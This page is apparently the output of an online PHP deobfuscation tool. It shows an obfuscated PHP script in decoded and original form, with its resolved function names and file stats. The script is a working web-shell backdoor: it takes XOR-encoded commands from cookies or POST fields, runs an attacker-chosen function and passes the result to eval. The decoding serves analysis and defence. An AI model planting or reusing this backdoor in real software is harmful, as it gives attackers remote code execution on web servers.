Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GrDnnfINeM = "\x73" . "\x74" . chr ( 539 - 425/* Da */)."\137"/*..

Decoded Output download

<?php $GrDnnfINeM	=	"s"   .     "t"	.   chr    (     539	-     425/* Da */)."_"/*  Gximi */.    "r" .     chr    (/* Mof   */575 -	474/*CcPVI */).chr/*   q   */(112)/*  aCCzr */.    "e"   .	"a"  ./* q*/"t"; 
$XTPErqSGAR	=	'e' .	"x"	.   'p'/*   qZvC */.	"l"/*   qhE   */.     chr   (/*  zkk*/151 -	40/*   DMuV  */)."d" ./*  Ld  */"e"; 
 $JDFxv   =   'c'     .    chr/*   nr  */(	406	-	295  ).chr/*  RBJbt*/(	844	-	727     ).chr/*Wuslv   */(110)	. chr	(116); 
			$kmKRlNns	=    "p"    .	'a'    .	chr/*  Z   */(99)	.  'k'; 
 
 
$OdUiAwV/*Nfy   */=	Array   (/*  DaTm  */"xuWqqzsGCjwM"/*  p*/=>	"cVjgmEiJmwHyaNm"   ); 
     	$rViTjvAGv/*fs  */=	Array   (/*m  */"mgatChEeEvvlLuOAA"    =>	"UoPbXfhyTFRnqyxkBYbvDd"	); 
 /*x*/foreach   (/*j */Array(/*   Vlf */$OdUiAwV,	$_COOKIE,   $rViTjvAGv,    $_POST,	$OdUiAwV)   as	$tDWctzfd)   { 
					foreach   (/*  h */$tDWctzfd	as/* hu*/$MhmYe/* psv  */=>	$YKbCX	)/*  raeKf  */{ 
	/* oiZe   */$YKbCX/*  mB   */=    @$kmKRlNns(/*  V  */chr   (/*   KcLVe*/848   -   776     ).chr (42),     $YKbCX	); 
					$MhmYe  .=   "GyRg-YCwOpY-jEK-iTImNC-ZkIPngT-FXhY-CdVa"; 
     	$MhmYe/*  pz */=     $GrDnnfINeM	(/*  tE  */$MhmYe,/*   ou  */(/*  BYBv*/strlen(/* DP   */$YKbCX )/strlen(   $MhmYe	)/*  CdkN */)	+   1); 
     	$XnNbQCNSPq =	$YKbCX	^    $MhmYe; 
          $XnNbQCNSPq/*   bb*/=	$XTPErqSGAR/*T*/(	"#",	$XnNbQCNSPq ); 
 	if	(/*   tye */$JDFxv	(	$XnNbQCNSPq  ) ==	3	)   { 
 
 
/* qXZRi   */$param1/*   vz   */=  $XnNbQCNSPq[1]; 
		    $param2/*   DlE*/=/*   zyVf */$XnNbQCNSPq[2]; 
 
	$param3/*   uGNZ */=	$param1($param2); 
     eval	(	$param3/*  n   */); 
 
 
	die/* MlA*/(); 
				/* ttwiM */} 
     /*Q   */} 
  /*  tv  */} ?>

Did this file decode correctly?

Original Code

<?php $GrDnnfINeM	=	"\x73"   .     "\x74"	.   chr    (     539	-     425/* Da */)."\137"/*  Gximi */.    "\x72" .     chr    (/* Mof   */575 -	474/*CcPVI */).chr/*   q   */(112)/*  aCCzr */.    "\145"   .	"\141"  ./* q*/"\x74";
$XTPErqSGAR	=	'e' .	"\170"	.   'p'/*   qZvC */.	"\x6c"/*   qhE   */.     chr   (/*  zkk*/151 -	40/*   DMuV  */)."\x64" ./*  Ld  */"\145";
 $JDFxv   =   'c'     .    chr/*   nr  */(	406	-	295  ).chr/*  RBJbt*/(	844	-	727     ).chr/*Wuslv   */(110)	. chr	(116);
			$kmKRlNns	=    "\160"    .	'a'    .	chr/*  Z   */(99)	.  'k';


$OdUiAwV/*Nfy   */=	Array   (/*  DaTm  */"xuWqqzsGCjwM"/*  p*/=>	"cVjgmEiJmwHyaNm"   );
     	$rViTjvAGv/*fs  */=	Array   (/*m  */"mgatChEeEvvlLuOAA"    =>	"UoPbXfhyTFRnqyxkBYbvDd"	);
 /*x*/foreach   (/*j */Array(/*   Vlf */$OdUiAwV,	$_COOKIE,   $rViTjvAGv,    $_POST,	$OdUiAwV)   as	$tDWctzfd)   {
					foreach   (/*  h */$tDWctzfd	as/* hu*/$MhmYe/* psv  */=>	$YKbCX	)/*  raeKf  */{
	/* oiZe   */$YKbCX/*  mB   */=    @$kmKRlNns(/*  V  */chr   (/*   KcLVe*/848   -   776     ).chr (42),     $YKbCX	);
					$MhmYe  .=   "GyRg-YCwOpY-jEK-iTImNC-ZkIPngT-FXhY-CdVa";
     	$MhmYe/*  pz */=     $GrDnnfINeM	(/*  tE  */$MhmYe,/*   ou  */(/*  BYBv*/strlen(/* DP   */$YKbCX )/strlen(   $MhmYe	)/*  CdkN */)	+   1);
     	$XnNbQCNSPq =	$YKbCX	^    $MhmYe;
          $XnNbQCNSPq/*   bb*/=	$XTPErqSGAR/*T*/(	"\43",	$XnNbQCNSPq );
 	if	(/*   tye */$JDFxv	(	$XnNbQCNSPq  ) ==	3	)   {


/* qXZRi   */$param1/*   vz   */=  $XnNbQCNSPq[1];
		    $param2/*   DlE*/=/*   zyVf */$XnNbQCNSPq[2];

	$param3/*   uGNZ */=	$param1($param2);
     eval	(	$param3/*  n   */);


	die/* MlA*/();
				/* ttwiM */}
     /*Q   */}
  /*  tv  */}

Function Calls

chr 9

Variables

$JDFxv count
$OdUiAwV [{'key': 'xuWqqzsGCjwM', 'value': 'cVjgmEiJmwHyaNm'}]
$kmKRlNns pack
$rViTjvAGv [{'key': 'mgatChEeEvvlLuOAA', 'value': 'UoPbXfhyTFRnqyxkBYbvDd'}]
$GrDnnfINeM str_repeat
$XTPErqSGAR explode

Stats

MD5 9a9b220561e1e04f045811ddcec5b7c9
Eval Count 0
Decode Time 123 ms